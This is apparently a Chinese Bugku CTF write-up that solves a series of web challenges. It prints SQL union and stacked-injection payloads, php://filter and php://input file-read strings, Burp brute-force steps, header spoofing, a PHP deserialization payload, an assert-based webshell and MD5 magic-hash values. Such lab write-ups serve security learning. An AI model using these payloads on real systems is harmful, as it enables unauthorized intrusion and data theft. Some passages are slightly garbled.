bugku web部分 wp

MD5解密

复制TVRjMU9UYz0=

image-20200414211239471

进行MD5解密

image-20200414211307516

复制MTc1OTc=再次进行解密

image-20200414211328587

复制这5位数,填入输入框

image-20200414211353175

输入长度限制

只能输入一个字符

image-20200414211642975

F12查看,发现maxlength限制长度1

image-20200414211503349

更改长度,输入大于1778的数

image-20200414211711691

进行验证

image-20200414211718742

绕过第一个if判断

查看代码,发现第二个if必须是输入的数字是1才能执行echo输出flag

image-20200414211858576

输入?num=1,页面没有响应

image-20200414211922567

发现第一个if是!is_numeric,所以输入带上字符的1,比如1"等等

这样就成功返回

image-20200414212023379

解释:因为输入1"第一个if判断不是数字,不执行echo $num,代码向下走,在进行if判断,这里的if判断1"在程序运行时这里的判断不管1后面有没有字符都会当做1来执行,所以成功输出flag

正则匹配

payloa:?key=keykeykeykeykeykeykey:///keyx":i

查看代码

发现正则,然后进行匹配

image-20200414212253676

/key 代表一个key

.* 代表一个或多个

. 代表一个

{4,7} 代表最少4个最多起个

key 一个

/./ 转义中间的.代表一个///

.*key 一个或者多个

[a-z] a-z中任意一个字母

[[:punct:]] 任意一个英文字符

/i 一个i

得出结果输入,成功返回

image-20200414212821929

数组绕过

Payload:?number1[]=1&number2[]=2

查看代码

image-20200414213304545

进行分析代码

img

需要让第一个判断错误,然后进行下一个判断,md5不能加密数组,所以这里要传一个空数组

输入上面的Payload,成功返回

image-20200414213758327

堆叠注入

查看原页面

image-20200512140146112

在POST框输入1查看返回什么内容

image-20200512140315871

使用show database查看所有数据库

image-20200512140744730

查看一下表试一下,返回了,Flag表,发现存在堆叠注入

image-20200512140828405

查看PHP代码

image-20200512141555352

可以看到上面的提交语句是这样的这是一种非预期解的方法:

$sql = "select ".$post[‘query‘]."||flag from Flag";

当我们输入1后进行拼接后的语句就是这样的了

select *,1||flag from Flag

预期解通过堆叠注入将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符。

payload:query=1;set sql_mode=PIPES_AS_CONCAT;select 1

将||或运算变成连接符后就得到了一下内容

select *,1,flag from Flag";
暴力破解

查看原页面

image-20200522105117391

使用admin和admin尝试进行登录。

返回错误,说用户名和密码不存在。

image-20200522105325431

这样一个一个的尝试效率太慢了,我们使用burpsuit进行抓包

先随机输入密码,进行抓包

image-20200522105627840

将信息发送到intruder模块进行clear , 然 后 选 中 p a s s w o r d 中 的 值 将 其 A d d ,然后选中password中的值将其Add passwordAdd

image-20200522105936280

进入Payload子模块,进行载入字典爆破。

查看字典中的弱口令

image-20200522110046142

在Plyload Options [Simple list]中的load…选中password字典

image-20200522110202979

进行Start attack发动攻击

得出密码是123456

image-20200522110311453

在页面中输入这个密码,查看是否能够登陆成功

登陆成功。

image-20200522110356569

暴力破解验证码绕过

原页面

image-20200522110910188

进行一次登陆试试上面已经知道密码是123456了所以我们现在假装不知道进行绕过

这里我们输入的是admin,admin

image-20200522110953883

我们进行抓包,将包发送到Repeater模块进行尝试登陆

点击Go,得到源码,然后右键选中browser,复制网页地址。

image-20200522111258822

Copy之后在网页打开试试

显示登陆失败,验证码也变化了

image-20200522111439333

我们将Repeater中得包信息发送到Intruder模块

将验证码改为当前页面的正确验证码,将字典中的弱口令导入,发动攻击

得出密码:123456

image-20200522112112995

在页面中使用改密码登录

登陆成功

image-20200522112156596

绕过前端验证暴力破解

还是使用admin和123登录,然后进行抓包,使用弱口令进行爆破

得出123456密码

image-20200522135328846

如果我们将抓包里面的验证码更改一下试试

image-20200522135409179

进行发动攻击,还是出来了,说明验证码只是进行了前端验证

image-20200522135431754

在页面中使用密码登录或者在burp中复制然后打开

登陆成功

image-20200522135839104

BugkuCTF

WEB 2

image-20200525212712340

打开地址查看页面

页面只有表情,没有任何东西

image-20200525212754995

按F12查看一下源代码

发现源代码将flag注释了,我们复制提交就可以。

image-20200525212841039

计算器

打开网址

image-20200525212936523

原页面,发现有公式输入框,按照将加法的结果写进去试试

image-20200525212952887

74+14=88,发现只能输入一个数字,说明进行了字符长度限制

image-20200525213101428

F12查看代码,可以看到这里做了字符长度限制,只能输入一个字符。

image-20200525213152555

将1改为多位数,再次输入正确数值88

成功显示flag,复制提交就可以。

image-20200525213255863

web基础$_GET

打开网址

image-20200525214312273

打开网址,查看页面

可以看到GET输入,当$what=flag输出flag

image-20200525214423931

我们在URL中输入flag,复制提交就可以。

image-20200525214724268

web基础$_POST

打开网址

image-20200525220028996

查看页面,可以看到是Post提交,提交方式和Get一样

image-20200525221924026

在POST中提交

image-20200525222017722

矛盾

打开网页

image-20200525222601214

查看页面

可以看到只要是不是数字,而且等于1就可以

image-20200525222621231

这里不管1后面加什么都以,但不能在1的前面加。

image-20200525223421384

WEB 3

打开网址

image-20200525223849175

查看页面,发现一直返回这两个弹框

image-20200525223928618

image-20200525223935748

按F12 查看源码

发现一串HTML代码,复制进行解码

image-20200525225228761

解码之后得到Key值,复制直接提交

image-20200525225258621

域名解析

这里就是要配置host配置文件,将flag.baidu.com 解析到123.206.87.240然后在网页中访问

image-20200525225744153

修改hosts文件,路径为C:\Windows\System32\drivers\etc\hosts最底下添加:120.24.86.145 flag.bugku.com 保存 访问即可

在页面中打开

成功获取key值

image-20200525231435886

还有一种方法就是使用burp抓包添加HOST请求

直接复制提交就ok,这两种方法都可以。

image-20200525231559549

你必须让他停下

打开网址

image-20200526075950924查看

查看原始页面。这是我已经刷新好几次抓到的,刚进去可能没有图片,页面会一直刷新

image-20200526080029978

因为一直刷新所以源码也跟着刷新,根本没机会,所以就可以使用burp进行抓包。

让页面随机运行一次然后抓包。

image-20200526080213462

抓完包发送到Repeater模块中,点击Go一直点击,直到出来flag值

image-20200526080417167

或者按F12,然后将burp放旁边只要一出现flag立马打开Intercept is on进行抓包,让页面停止运行,这一种看你反应。

复制flag提交就可以

image-20200526080550190

本地包含

打开网址

image-20200607192157745

查看源码

image-20200607192302988

有好几种方法

在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/rescoure=flag.php

会获得base64的加密内容,复制进行解密就可以

image-20200607192441288

还有一种方法直接将flag.php文件读入变量hello中

?hello=get_file_contents('flag.php') 
?hello=file('flag.php')

image-20200607192631186

变量1

打开网址

image-20200526084005998

打开页面得到以下代码

image-20200526084032873

flag In the variable ! <?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args))		//  /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
    {		
        die("args error!");
    }
    eval("var_dump($$args);");		//var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
}
?>

代码审计,这里需要知道一个知识点可变变量

可变变量是一种独特的变量,它允许动态改变一个变量名称。其原理是变量的名称由另外一个变量的值来确定,即一个可变变量获取了一个普通变量的值作为这个可变变量的变量名,实现过程是在变量前面多加美元符号 “$”

我们的目标是得到flag,由于代码含有正则匹配,文件上传、本地包含等漏洞不能用,而PHP中$GLOBALS[index] 的数组中存储了所有全局变量

复制提交

image-20200526083941332

web 5

打开网址

image-20200526085709523

原始页面,随便提交以下数字试试,发现不行

image-20200526085758424

查看一下源码,发现有一大堆这种JSFUCK代码,

image-20200526085828992

复制这些代码,放到控制台中执行,不要忘记复制上去按回车

image-20200526090504610

记住字母要大写,这里给你显示的小写字母,要将字母转换为大写,在你打开前输入flag的地方已经提示了,字母要大写

image-20200526090605804

返回正常,说明正确,复制这个大写字母的flag在BugkuCFT提交

image-20200526090750250

头等舱

打开网址

image-20200526091427466

原始页面,发现真的是什么也没有

image-20200526091547653

使用burp抓一下包试试,发送到Repeater,发现flag在请求头中,复制提交。

image-20200526091710745

网站被黑

打开页面

image-20200526092405600

原始页面

image-20200526092432701

进去之后没什么特别的提示

但题目说了 实战 经常遇到

所以 直接 御剑 跑一下

image-20200526092618994

点击上面的shell.php,会进入一个后台界面,让我们输入密码

image-20200526092646058

可是我们并不知道密码是多少,所以使用暴力破解,如果一个一个的去试太麻烦了,而且想到的数量太少了,所以使用burp进行抓包。

现在输入框中随机输入内容,这里我输入的是123,然后打开burp点击网页的登录,进行抓包,不要忘记将Intercept is on打开

image-20200526092921318

右键,将其发送到intruder模块

image-20200526092943621

现将123 Clear 掉 , 然 后 选 中 123 再 A d d 掉,然后选中123再Add 123Add一下

image-20200526093025865

单击Payloads子模块

选中burp自带的字典,Add from list…选中Passwords,点击Start attack,进行爆破密码

image-20200526093244488

爆破完成后,可以看到密码是hack

image-20200526093359014

在页面提交hack,成功返回flag,复制flag提交

image-20200526093420784

管理员系统

打开网址

image-20200526095051329

原始页面

image-20200526095115923

查看源代码,可以看到有一个base64加密的密文,解密之后得到test123

image-20200526095133950

因为i管理员系统,账号肯定是admin,密码已经解密出来了是test123

输入提交,发现并没有返回对应的flag,而是说IP禁止访问,请联系本地管理员登录,IP被记录,这说明需要伪造本地IP进行访问

image-20200526095240198

先输入账号密码,,然后使用burp抓包发送到Repeater模块

image-20200526095410043

加入X-Forwarded-For:127.0.0.1伪造IP,点击GO成功返回flag,复制提交即可

image-20200526095817142

WEB 4

打开网址,

image-20200526100105719

题目提醒了要查看源代码,可以看到好多URL编码

image-20200526100138637

先复制p1 和 p2的url,将没用的删去

image-20200526100343484

这里可以看到unescape中的url编码在p1和p2之间,所以将他里面的url放中间,先将p1,p2分隔开防止弄乱,再加入unescape中的url,这里面的单引号全都要删除,还有分号什么的,只要与url编码无关的全都删除

image-20200526100545399

将多余的空格删除,然后进行解码得到flag,提交,提交时候要加上flag{}将值放到花括号中

image-20200526100735818

flag在index里

打开网址

image-20200526104118080

查看原始页面

image-20200526104928268

点进click me?no看看,可以看到 test5是show.php中的信息,结合题目给的信息说flag在index中也就是index.php中

image-20200526104959071

构造任意读取文件的payload:php://filter/read=convert.base64-encode/resource=index.php

后面还有很多,复制进行base64解码,将没用的删除

image-20200526105646487

php://filter使我们常用的一种伪协议在任意文件读取,甚至getshell的时候都有利用的机会。这里就是用的任意读取文件

read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称

这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode
resource=index.php,代表读取index.php的内容

关于convert.*过滤器,可以访问一下网址有详细讲解

https://www.php.net/manual/zh/filters.convert.php

这个刚才页面显示的base64加密的密文

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

我们将其解密得到以下内容,可以看到flag就在其中,复制提交即可

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
	
	
//flag:flag{edulcni_elif_lacol_si_siht}


?>
</html>
输入密码查看flag

打开网址

image-20200526132744362

查看原始页面,可以看到底下说输入5位数密码查看

image-20200526134606784

因为是输入密码的,我们直接来爆破试试,先试用burp抓包,发送的Intruder模块进行爆破

先Clear 在 A d d 在Add Add然后选中Payload子模块进行输入爆破数据

image-20200526134751450

将Payload type改为Number类型,因为是5位数所以从10000开始,先到20000看看能否爆破出来

image-20200526134847802

点击start attack进行攻击,发现成功爆破。

image-20200526135012691

将密码输入,然后返回了flag,进行提交就可以

image-20200526135042949

点击一百万次

打开网址

image-20200607191544649

查看原始页面

image-20200607191628844

点击一下曲奇饼,发现数字变成了1

image-20200607191716508

按F12查看源码

image-20200607191828227

可以看到是以POST传输的,发现了clicks变量,当它为1000000应该能得到flag

就在POST中输入clicks=1000000

image-20200607192020389

备份是个好习惯

打开网址

image-20200526140001555

查看原始页面

可以看到是MD5加密的,我们进行解密

image-20200526140020472

解密返回是空密码,说明不正确

image-20200526140052804

他题目是备份,我们使用御剑来进行扫描一下

有一个.bak后缀的网址,双击打开

image-20200526140130590

得到了一下代码

乱码不用管因为编码不同,那里是中文字体无碍。

image-20200526140242138

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);

// 将$str里的key替换为空字符。
$str = str_replace('key','',$str);

// 将字符串解析到变量
parse_str($str);
//输出MD5加密的key1、key2
echo md5($key1);
echo md5($key2);

// 两个值进行判断,如果加密的值相同和未加密的值不同输出flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."鍙栧緱flag";
}
?>

可以看到其中用到了$str = str_replace('key','',$str);中的str_replac()函数,按照这串代码得出将$str中得’key’替换为空字符,我们可以使用双写绕过kkeyey下面代码的意思就

这里就可以使用数组绕过

构造payload:?kkeyey1[]=1&kkeyey2[]=2

复制结果进行提交。

image-20200526141426607

成绩单

打开网页

image-20200526141941730

原始页面,挡在输入框输入1时返回的结果

image-20200526142058592

输入2返回的结果

image-20200526142111653

按F12查看源码

image-20200526142356183

很明显这是POST注入,name是id

这里可以手注或者使用sqlmap来跑

这里都使用一次,先是手注

我们先进行报错尝试,使用万能单引号看看是否报错

页面没有返回信息说明错误

image-20200526142454610

加上–+试试,发现页面还是错误。

image-20200526142523435

可能是因为注释符的原因,更改成#试试,果然页面成功返回正常

image-20200526142556767

使用order by查看字段数当字段等于4的时候返回正常,等于5的时候页面没有返回值

image-20200526142622712

image-20200526142648785

union联合查询查看可注入的字段数,要先将id=1‘改为其他的例如:id=-1‘让其报错,不然只会返回正常值,不会显示注入点,当然改成什么都行只要是错误的就可以。

image-20200526142944623

可以看到,2,3,4这三个都可以注入,查看当前数据库或者查看数据库版本

image-20200526143031514

我们在4的位置上进行注入。

payload:union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

返回了两个表名fl4g、sc

image-20200526143158111

flag肯定在fl4g中,一看就知道,查看fl4g中的字段

Payload:id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

返回了skctf_flag字段名。

image-20200526143341576

查看字段中的数据

Payload:id=-1' union select 1,2,3,group_concat( skctf_flag) from fl4g#

成功返回flag,复制提交即可

image-20200526143427166

秋名山老司机

打开网页

image-20200526193528166

原始页面。每次刷新页面的值都不同

image-20200526193605590

他让2秒内计算出那是不可能的,只能上脚本了

# 模块
import requests
import re

# 网站
url = 'http://123.206.87.240:8002/qiumingshan/'

# 会话保持
s = requests.Session()

# 打开url
source = s.get(url)

#正则表达式,匹配算术计算source.text意思就是将网页信息存储到text中
s_tr = re.search('(\d+[+\-*])+(\d+)', source.text).group()

# 将字符串s_tr当成有效的表达式来求值并返回计算结果
result = eval(s_tr)

# 这里可以理解为设立分界线冒号
post = {'value': result}

# 以post请求输出文本
print(s.post(url, data = post).text)

得到flag,因为是一直变化的,所以有可能运行好几次都不返回值,多运行两次就OK。

image-20200526194100263

速度要快

打开网址

image-20200526210947209

查看页面

image-20200526211004806

使用burp进行抓包,这并不是真正地flag,每次刷新都会改变,所以就可以判断他是要在规定时间内算出来,所以就要写一个脚本

image-20200526211100106

代码如下

# 模块
import requests
import base64

# 地址
url='http://123.206.87.240:8002/web6/'

# 会话维持
s=requests.Session()

# 打开网址和headers请求头
header = s.get(url).headers
print(header)

# 对其进行base64两次解密
# split() 通过指定分隔符对字符串进行切片
# encode()指定的编码格式编码字符串
flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() 

data={'margin':flag}

# 输出
print(s.post(url,data).text)

运行得出flag,复制进行提交

image-20200526211513761

如果感觉太乱了可以吧get(url)下的print注销掉

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-78sH8Xkh-1596115258137)(C:\Users\状元\AppData\Roaming\Typora\typora-user-images\image-20200526211612820.png)]

Cookie欺骗

打开网页

image-20200526201414869

查看页面,返回了一堆不知道是啥玩意的字母,但是可以看到URL中有base64的加密密文。复制进行解码

image-20200526201515056

解密之后返回了keys.txt

image-20200526201651353

仿照一下之前的格式,尝试一下将index.php进行加密,并且line=1,这是加密后的index.php

image-20200526201847982

复制在页面中更改相对应的值,返回了一个error_reporting(0);(错误报告),将line改为2试试。

image-20200526201945215

发现返回代码了,因为每次只能返回一个,所以我们要写一个脚本,让他全部输出

image-20200526202029410

使用py写一个脚本,内容如下

# 模块
import requests

# 定义一个空字符
s = ''

# 因为之前够早的line每次更改数字都变,所以这里让其循环20直接全部输出
for i in range(0,20):

    # 在line处加上for循环的i进行每次变更数字
    url = 'http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'

    # 打开url
    s = requests.get(url)

    # 进行输出
    print (s.text)

运行之后得到的结果,可以看到Cookie需要等于margin才能输出,所以需要进行伪造Cookie

image-20200526202305592

将页面返回到原始的界面,也就是加密的keys.txt的界面

image-20200526202544258

进行抓包,发送到Repeater模块,在其中伪造Cookie然后GO一下,发现成功返回了flag,复制提交即可

image-20200526202728983

never give up

打开页面

image-20200527133509908

查看原页面

image-20200527133633774

F12查看源码,看到有一个1p.html,访问一下。

image-20200527133820886

http://123.206.87.240:8006/test/1p.html,访问这个网址发现返回了这个,说明刚才那个网址进行了重定向

image-20200527133931990

使用view-source:123.206.87.240:8006/test/1p.html查看1p.html的源代码,看到有URL编码和base64编码

image-20200527134105206

"%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 

先不管是什么编码,因为当中有 URL编码,直接全部复制,进行URL解码,base64编码因为不是相同编码不会进行编译。

image-20200527135250644

将base64的的代码复制进行解密,发现又返回了URL编码,复制URL编码再次去URL解密

image-20200527135327828

URL解密之后获得了以下的值

image-20200527135645667

"<script>window.location.href='http://www.bugku.com';</script> 
<!--";
# 判断id是否为空和0
if(!$_GET['id'])
{
# 如果id为空,则我们看到URL加上hello.php?id=1
	header('Location: hello.php?id=1');
# 退出
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];

# 判断a变量中.第一次出现的位置,只有当a没有.的时候才能不执行if里面的语句
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}

# 读取变量a
$data = @file_get_contents($a,'r');

# 进行判断,当data等于bugku is a nice plateform!,当id等于0,当b>5,当111等于1114,b的第一个字符不等于4

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}

?>
-->"
  • 限制 URL 查询字符串中必须有非空非零变量 id
  • 限制变量 $a 中不能含有字符 .
  • 要满足以下 5 条表达式才会爆 flag:
    • 变量 $data 弱等于字符串 bugku is a nice plateform!
    • 变量 $id 弱等于整型数 0
    • 变量 $b 的长度大于 5
    • 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
    • 变量 $b 的第一个字符弱不等于整型数 4

可以看到,代码中已经爆出来了flag文件,所以可以直接访问flag文件。

也可以构造Payload:?id=.&a=php://input&b=.123456,post:data=bugku is a nice plateform!

首先是id弱类型,如图,只要将id赋值为任意字符串解释器就会判定其与0相等为TRUE

image-20200527114619744

先直接访问flag文件,直接复制粘贴

image-20200527140149790

构造的网址,返回了flag

image-20200527140359102

welcome to bugkuctf

打开网址

image-20200607180103558

查看原始界面

image-20200607180123318

F12查看一下源码

image-20200607180139956

很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。

开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,因为代码里面虽然定义了这个变量但是并没有使用到。所以我们重点关注前两个变量。看下面的条件

(1)if(isset($user))这个isset()函数是判断$user这个变量的是否存在,user变量不能为空

(2)(file_ get_ contents ($user,' r' )===" welcome to the bugkuctf"))

file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

(3)include($file); // hint.php所以我们要在满足条件之后读取file=hint.php。

知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?

这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到 “php://input”协议。大致的意思是让 txt=php://input ,之后在post过去一个字符串.

php伪协议介绍

php://input
构造场景:本地web服务器根目录下有文件phpinput_server.php,


<?php
     $a = $_GET['a'];
     $raw_post_data = file_get_contents($a,'r');//'php://input'
     echo $raw_post_data;
 
 ?>
 
  
在浏览器中按照如下方式访问:
post框直接输入一段数据
excute后,脚本会在页面中输出这段数据。

image-20200607182627993

此种方式可以用来获取post数据,但不能获取get数据。

具体介绍查看:https://www.cnblogs.com/yinqin/articles/4088589.html

当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取

image-20200607182947553

简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了

这样就满足了(file_ get_ contents ($user,' r' )===" welcome to the bugkuctf"))然后我们得到了

image-20200607183250757

此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter

txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)

image-20200607183441201

复制base64加密的内容进行解码,得到以下内容

#hint.php  
  
<?php    
    
class Flag{//flag.php    
    public $file;    
    public function __tostring(){    
        if(isset($this->file)){    
            echo file_get_contents($this->file);   
            echo "<br>";  
        return ("good");  
        }    
    }    
}    
?>

之后可以继续利用伪协议读取一下index.php源码

#index.php  
<?php    
$txt = $_GET["txt"];    
$file = $_GET["file"];    
$password = $_GET["password"];    
    
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){    
    echo "hello friend!<br>";    
    if(preg_match("/flag/",$file)){   
        echo "不能现在就给你flag哦";  
        exit();    
    }else{    
        include($file);     
        $password = unserialize($password);    
        echo $password;    
    }    
}else{    
    echo "you are not the number of bugku ! ";    
}    
    
?>    
    
<!--    
$user = $_GET["txt"];    
$file = $_GET["file"];    
$pass = $_GET["password"];    
    
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){    
    echo "hello admin!<br>";    
    include($file); //hint.php    
}else{    
    echo "you are not admin ! ";    
}    
 -->    

(1)在hint.php中我们看到了class Flag{//flag.php ,所以我们把index.php改成flag.php看看会有什么结果,发现

image-20200607184045001

居然返回了乱码,看到之前的源码可以知道这是index.php中的echo "不能现在就给你flag哦";所以不能直接flag.php

在index我们看到,这个意思是file中如果包含‘flag’,那么就会给你退出。

image-20200607184245372

所以我们要想其他办法读flag.php

我们往下看可以看到

这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。

else{    
        include($file);     
        $password = unserialize($password);    
        echo $password;    
    }    

而我们根据上面的hint.php发现,

#hint.php  
  
<?php    
    
class Flag{//flag.php    
    public $file;    
    public function __tostring(){    
        if(isset($this->file)){    
            echo file_get_contents($this->file);   
            echo "<br>";  
        return ("good");  
        }    
    }    
}    
?>    

我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

这不正是我们要解决的输出flag.php内容的情况吗???

所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:——根据php序列化的结果

<?php  
    class Flag{
    public $file;    
    }    
  
    $a = new Flag();  
    $a->file = "flag.php";  
    $a = serialize($a);  
    print_r($a);  
?>  

得到:  O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 传入

image-20200607190756684

得到

image-20200607190814885

过狗一句话

打开网址

image-20200607174619683

查看原始页面

image-20200607174643967

可以看到题目中给的提示

使用explode函数将poc变量里的#进行截断,然后将分离出来的值放到数组中,得到assert

exlpde()分割a#s#s#e#r#t 为 assert

用assert函数来解析传进来的字符,assert有代码执行漏洞。

<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
?>

构造Payload:http://123.206.87.240:8010/?s=print_r(scandir('./'))

image-20200607175205721

可以看到里面有f94lag.txt文件,在url中添加改文件

image-20200607175305991

字符?正则?

打开页面

image-20200527155731657

查看源页面,可以看到有正则匹配然后构造Payload:keykeykeykeykeykeykeykeykeykey:///keykeykeyx"i

image-20200527155822458

成功返回KEY值

image-20200527160225084

前女友(SKCTF)

打开网址

image-20200607192732367

查看原始页面

image-20200607192825276

点击链接这两个字。

发现一段代码

image-20200607193505347

里面有MD5,MD5是不能处理数组的,所以构造Payload:v1[]=1&v2[]=2&v3[]=3,然后返回flag

image-20200607193720093

login1(SKCTF)

打开网址,可以看到题目提示SQL注入约束攻击

image-20200527160418382

SQL约束攻击:在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。

我们尝试了暴力破解等,发现并不能破解出来,我们知道像这种管理后台用户名是admin毋庸置疑,所以利用SQL约束攻击的特性进行攻击,注册用户

更改了Type让其显示输入的密码,点击注册

image-20200527172806930

返回了注册成功,等两秒就会返回登录界面

image-20200527172857635

在登录界面输入刚才注册的用户名和密码,成功返回。

image-20200527173023123

你从哪里来

打开网址

image-20200527174500035

返回了 Are you from google?(你是谷歌的吗?)

image-20200527174604248

到这就可以看出,上面是需要我们伪造一下链接Referer

Payload:https://www.google.com

你是无法在页面中更改的,所以使用burp抓包,然后发送的Repeater中进行更改运行。

成功返回flag,复制提交就ok

image-20200527174851825

md5 collision(NUPT_CTF)

打开网址

image-20200527180144324

原始页面,让其输入a,我们输入?a=1查看返会结果

image-20200527180242821

返回false说明错误。这里已经已经看过了burp抓包和F12了,什么都没有。

image-20200527180318161

当我看看题目的时候发现题目是MD5碰撞,我们百度一下什么是MD5碰撞

解释是:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

原文链接:https://blog.csdn.net/qq_30464257/article/details/81432446

其中常见的MD5碰撞

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
